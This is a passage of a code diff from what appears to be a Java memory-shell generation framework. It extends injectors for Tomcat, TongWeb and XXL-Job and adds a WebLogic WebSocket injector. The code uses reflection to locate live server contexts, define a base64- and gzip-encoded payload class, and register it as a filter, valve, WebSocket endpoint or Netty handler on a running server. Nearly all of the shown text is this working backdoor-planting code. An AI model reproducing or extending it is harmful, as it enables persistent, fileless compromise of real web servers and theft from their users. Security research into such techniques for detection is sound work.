}
|
}
|
||||||
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||||
try {
|
try {
|
||||||
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
Object target = getThreadTarget(thread);
|
||||||
|
if (target == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object proto = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "proto");
|
||||||
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||||
for (Object value : childrenMap.values()) {
|
for (Object value : childrenMap.values()) {
|
||||||
@@ -90,6 +107,35 @@ public class TomcatListenerInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private Object getThreadTarget(Thread thread) throws Exception {
|
||||||
|
Object target = getFieldValue(thread, "target");
|
||||||
|
if (target == null) {
|
||||||
|
// JDK 21+
|
||||||
|
Object holder = getFieldValue(thread, "holder");
|
||||||
|
if (holder != null) {
|
||||||
|
target = getFieldValue(holder, "task");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return target;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Older Catalina: ContainerBackgroundProcessor.this$0
|
||||||
|
* Payara 6.2024+/7 style: ContainerBackgroundProcessorAtomic.base (WeakReference)
|
||||||
|
*/
|
||||||
|
private Object getContainerFromProcessor(Object target) throws Exception {
|
||||||
|
Object container = getFieldValue(target, "this$0");
|
||||||
|
if (container != null) {
|
||||||
|
return container;
|
||||||
|
}
|
||||||
|
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
|
||||||
|
Object base = atomic != null ? getFieldValue(atomic, "base") : getFieldValue(target, "base");
|
||||||
|
if (base instanceof java.lang.ref.Reference) {
|
||||||
|
return ((java.lang.ref.Reference<?>) base).get();
|
||||||
|
}
|
||||||
|
return base;
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getContextRoot(Object context) {
|
private String getContextRoot(Object context) {
|
||||||
String r = null;
|
String r = null;
|
||||||
|
|||||||
+2
-1
@@ -17,7 +17,8 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
|
|||||||
private static final String[] TARGET_CLASSES = new String[]{
|
private static final String[] TARGET_CLASSES = new String[]{
|
||||||
"com/tongweb/web/thor/core/StandardContextValve",
|
"com/tongweb/web/thor/core/StandardContextValve",
|
||||||
"com/tongweb/catalina/core/StandardContextValve",
|
"com/tongweb/catalina/core/StandardContextValve",
|
||||||
"com/tongweb/server/core/StandardContextValve"
|
"com/tongweb/server/core/StandardContextValve",
|
||||||
|
"com/tongweb/container/core/StandardContextValve"
|
||||||
};
|
};
|
||||||
private static final String TARGET_METHOD_NAME = "invoke";
|
private static final String TARGET_METHOD_NAME = "invoke";
|
||||||
|
|
||||||
|
|||||||
+2
-1
@@ -17,7 +17,8 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
private static final String[] TARGET_CLASSES = new String[]{
|
private static final String[] TARGET_CLASSES = new String[]{
|
||||||
"com/tongweb/web/thor/core/ApplicationFilterChain",
|
"com/tongweb/web/thor/core/ApplicationFilterChain",
|
||||||
"com/tongweb/catalina/core/ApplicationFilterChain",
|
"com/tongweb/catalina/core/ApplicationFilterChain",
|
||||||
"com/tongweb/server/core/ApplicationFilterChain"
|
"com/tongweb/server/core/ApplicationFilterChain",
|
||||||
|
"com/tongweb/container/core/ApplicationFilterChain"
|
||||||
};
|
};
|
||||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||||
|
|
||||||
|
|||||||
+13
-5
@@ -167,11 +167,19 @@ public class TongWebFilterInjector {
|
|||||||
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap");
|
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap");
|
||||||
filterMap = filterMapClass.newInstance();
|
filterMap = filterMapClass.newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
// tongweb 8
|
try {
|
||||||
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
// tongweb 8
|
||||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMap = filterMapClass.newInstance();
|
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
|
} catch (Exception e1) {
|
||||||
|
// tongweb embedded (spring boot)
|
||||||
|
constructor = contextClassLoader.loadClass("com.tongweb.container.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
|
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
||||||
|
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||||
|
|||||||
+7
-2
@@ -141,8 +141,13 @@ public class TongWebValveInjector {
|
|||||||
// tongweb6
|
// tongweb6
|
||||||
valveClass = contextClassLoader.loadClass("com.tongweb.web.thor.Valve");
|
valveClass = contextClassLoader.loadClass("com.tongweb.web.thor.Valve");
|
||||||
} catch (ClassNotFoundException e1) {
|
} catch (ClassNotFoundException e1) {
|
||||||
// tongweb8
|
try {
|
||||||
valveClass = contextClassLoader.loadClass("com.tongweb.server.Valve");
|
// tongweb8
|
||||||
|
valveClass = contextClassLoader.loadClass("com.tongweb.server.Valve");
|
||||||
|
} catch (ClassNotFoundException e2) {
|
||||||
|
// tongweb embedded (spring boot)
|
||||||
|
valveClass = contextClassLoader.loadClass("com.tongweb.container.Valve");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||||
|
|||||||
+307
@@ -0,0 +1,307 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.weblogic;
|
||||||
|
|
||||||
|
import javax.management.MBeanServer;
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.management.ManagementFactory;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class WebLogicWebSocketInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public WebLogicWebSocketInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
Object container = getServerContainer(context);
|
||||||
|
if (container == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, container, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* weblogic.servlet.internal.WebAppServletContext
|
||||||
|
*/
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
public static Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
|
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
|
||||||
|
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
|
||||||
|
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
|
||||||
|
String key = entry.getKey();
|
||||||
|
if (key.contains("Type=WebAppComponentRuntime")) {
|
||||||
|
Object value = entry.getValue();
|
||||||
|
Object managedResource = getFieldValue(value, "managedResource");
|
||||||
|
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
|
||||||
|
webappContexts.add(getFieldValue(managedResource, "context"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
|
||||||
|
Object request = null;
|
||||||
|
try {
|
||||||
|
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||||
|
request = getFieldValue(connectionHandler, "request");
|
||||||
|
} catch (Exception x) {
|
||||||
|
// WebLogic 10.3.6
|
||||||
|
request = workEntry;
|
||||||
|
}
|
||||||
|
if (request != null) {
|
||||||
|
webappContexts.add(getFieldValue(request, "context"));
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
return webappContexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
} catch (Exception e) {
|
||||||
|
return ((ClassLoader) getFieldValue(context, "classLoader"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
|
try {
|
||||||
|
clazz = classLoader.loadClass(getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getServerContainer(Object context) throws Exception {
|
||||||
|
// WebLogic's WebAppServletContext implements javax.servlet.ServletContext directly
|
||||||
|
Object container = invokeMethod(context, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
|
||||||
|
if (container == null) {
|
||||||
|
container = invokeMethod(context, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
|
||||||
|
}
|
||||||
|
return container;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private void inject(Object context, Object container, Object obj) throws Exception {
|
||||||
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
|
Class<?> serverEndpointConfigClass;
|
||||||
|
Class<?> builderClass;
|
||||||
|
try {
|
||||||
|
serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
|
||||||
|
builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
|
||||||
|
builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Use the standard static factory method — Tyrus (WebLogic) only exposes create(), not a (Class,String) constructor
|
||||||
|
Object builder = invokeMethod(builderClass, "create", new Class[]{Class.class, String.class}, new Object[]{obj.getClass(), getUrlPattern()});
|
||||||
|
Object endpointConfig = invokeMethod(builder, "build", null, null);
|
||||||
|
|
||||||
|
// JSR-356 addEndpoint() throws IllegalStateException once the app is active; Tyrus's own
|
||||||
|
// register() bypasses this post-deployment lock and works on a live WebLogic server.
|
||||||
|
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||||
|
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||||
|
try {
|
||||||
|
invokeMethod(container, "register", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
|
||||||
|
} catch (Exception e) {
|
||||||
|
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
prioritizeWebSocketFilter(context);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
// Newer WebLogic versions may use different filter internals and already order Tyrus first.
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* WebLogic 12 and 14 append Tyrus's filter after application filters. If one of those filters
|
||||||
|
* does not support async processing, Tyrus cannot call startAsync() during the WebSocket
|
||||||
|
* handshake. Move only the WebSocket mapping ahead of normal application mappings so the
|
||||||
|
* upgrade is handled before a non-async filter can disable async support for the request.
|
||||||
|
*/
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private void prioritizeWebSocketFilter(Object context) throws Exception {
|
||||||
|
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
|
||||||
|
Object value = getFieldValue(filterManager, "filterPatternList");
|
||||||
|
if (!(value instanceof List)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
List filterMappings = (List) value;
|
||||||
|
synchronized (filterMappings) {
|
||||||
|
for (int i = 0; i < filterMappings.size(); i++) {
|
||||||
|
Object filterMapping = filterMappings.get(i);
|
||||||
|
Object filterName = getFieldValue(filterMapping, "filterName");
|
||||||
|
if ("WebSocket filter".equals(filterName)) {
|
||||||
|
if (i > 0) {
|
||||||
|
filterMappings.remove(i);
|
||||||
|
filterMappings.add(0, filterMapping);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+56
-36
@@ -1,13 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.xxljob;
|
package com.reajason.javaweb.memshell.injector.xxljob;
|
||||||
|
|
||||||
import com.xxl.job.core.biz.impl.ExecutorBizImpl;
|
|
||||||
import com.xxl.job.core.server.EmbedServer;
|
|
||||||
import io.netty.channel.ChannelHandler;
|
import io.netty.channel.ChannelHandler;
|
||||||
import io.netty.channel.ChannelInitializer;
|
import io.netty.channel.ChannelInitializer;
|
||||||
import io.netty.channel.socket.SocketChannel;
|
import io.netty.channel.socket.SocketChannel;
|
||||||
import io.netty.handler.codec.http.HttpObjectAggregator;
|
|
||||||
import io.netty.handler.codec.http.HttpServerCodec;
|
|
||||||
import io.netty.handler.timeout.IdleStateHandler;
|
|
||||||
|
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
@@ -15,11 +10,8 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.concurrent.LinkedBlockingQueue;
|
import java.util.UUID;
|
||||||
import java.util.concurrent.ThreadPoolExecutor;
|
|
||||||
import java.util.concurrent.TimeUnit;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -43,8 +35,11 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
inject();
|
if (inject()) {
|
||||||
msg += "[/*] ready\n";
|
msg += "[/*] ready\n";
|
||||||
|
} else {
|
||||||
|
msg += "failed, server channel not found\n";
|
||||||
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
msg += "failed " + getErrorMessage(e) + "\n";
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
}
|
}
|
||||||
@@ -58,25 +53,28 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
|||||||
}
|
}
|
||||||
|
|
||||||
private static Class<?> handlerClass;
|
private static Class<?> handlerClass;
|
||||||
|
private static ChannelHandler originalChildHandler;
|
||||||
|
private final String handlerName = UUID.randomUUID().toString();
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected void initChannel(SocketChannel channel) throws Exception {
|
protected void initChannel(SocketChannel channel) throws Exception {
|
||||||
|
if (channel.pipeline().get(handlerName) != null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
ChannelHandler channelHandler = (ChannelHandler) handlerClass.newInstance();
|
ChannelHandler channelHandler = (ChannelHandler) handlerClass.newInstance();
|
||||||
channel.pipeline()
|
channel.pipeline().addLast(originalChildHandler);
|
||||||
.addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS))
|
String httpCodecName = null;
|
||||||
.addLast(new HttpServerCodec())
|
for (String name : channel.pipeline().names()) {
|
||||||
.addLast(new HttpObjectAggregator(5 * 1024 * 1024))
|
if (name.contains("HttpObjectAggregator")) {
|
||||||
.addLast(channelHandler)
|
httpCodecName = name;
|
||||||
.addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(
|
break;
|
||||||
0,
|
}
|
||||||
200,
|
}
|
||||||
60L,
|
if (httpCodecName != null) {
|
||||||
TimeUnit.SECONDS,
|
channel.pipeline().addAfter(httpCodecName, handlerName, channelHandler);
|
||||||
new LinkedBlockingQueue<>(2000),
|
} else {
|
||||||
r -> new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode()),
|
channel.pipeline().addFirst(handlerName, channelHandler);
|
||||||
(r, executor) -> {
|
}
|
||||||
throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");
|
|
||||||
})));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private Class<?> getShellClass(Object context) throws Exception {
|
private Class<?> getShellClass(Object context) throws Exception {
|
||||||
@@ -91,28 +89,50 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public void inject() throws Exception {
|
public boolean inject() throws Exception {
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
|
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
|
||||||
Object target;
|
Object target;
|
||||||
try {
|
try {
|
||||||
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
|
Object innerRunnable = getFieldValue(getFieldValue(thread, "target"), "runnable");
|
||||||
|
Field evField = getField(innerRunnable.getClass(), "val$eventExecutor");
|
||||||
|
if (evField == null) {
|
||||||
|
evField = getField(innerRunnable.getClass(), "this$0");
|
||||||
|
}
|
||||||
|
if (evField == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
target = evField.get(innerRunnable);
|
||||||
if (target.getClass().getName().endsWith("NioEventLoop")) {
|
if (target.getClass().getName().endsWith("NioEventLoop")) {
|
||||||
HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
|
Set<?> set = (Set<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
|
||||||
if (!set.isEmpty()) {
|
for (Object key : set.toArray()) {
|
||||||
Object keys = set.toArray()[0];
|
try {
|
||||||
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
|
Object pipeline = getFieldValue(((java.nio.channels.SelectionKey) key).attachment(), "pipeline");
|
||||||
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
|
Object tail = getFieldValue(pipeline, "tail");
|
||||||
handlerClass = getShellClass(embedHttpServerHandler);
|
Object prevContext = getFieldValue(tail, "prev");
|
||||||
setFieldValue(embedHttpServerHandler, "childHandler", this);
|
Object acceptor = getFieldValue(prevContext, "handler");
|
||||||
return;
|
if (acceptor == null || !acceptor.getClass().getName().contains("ServerBootstrapAcceptor")) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Field childHandlerField = getField(acceptor.getClass(), "childHandler");
|
||||||
|
if (childHandlerField == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
childHandlerField.setAccessible(true);
|
||||||
|
originalChildHandler = (ChannelHandler) childHandlerField.get(acceptor);
|
||||||
|
handlerClass = getShellClass(acceptor);
|
||||||
|
childHandlerField.set(acceptor, this);
|
||||||
|
return true;
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -0,0 +1,46 @@
|
|||||||
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.injector.jetty.Jetty5FilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.jetty.Jetty5ListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.jetty.Jetty5ServletInjector;
|
||||||
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/7/4
|
||||||
|
*/
|
||||||
|
public class Jetty5 extends AbstractServer {
|
||||||
|
|
||||||
|
public static class ListenerInterceptor {
|
||||||
|
|
||||||
|
@Advice.OnMethodExit
|
||||||
|
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||||
|
try {
|
||||||
|
response = ShellCommonUtil.getFieldValue(request, "_servletHttpResponse");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
try {
|
||||||
|
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_request"), "_servletHttpResponse");
|
||||||
|
} catch (Exception ignored2) {
|
||||||
|
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "_servletHttpResponse");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Class<?> getListenerInterceptor() {
|
||||||
|
return ListenerInterceptor.class;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
|
return InjectorMapping.builder()
|
||||||
|
.addInjector(LISTENER, Jetty5ListenerInjector.class)
|
||||||
|
.addInjector(FILTER, Jetty5FilterInjector.class)
|
||||||
|
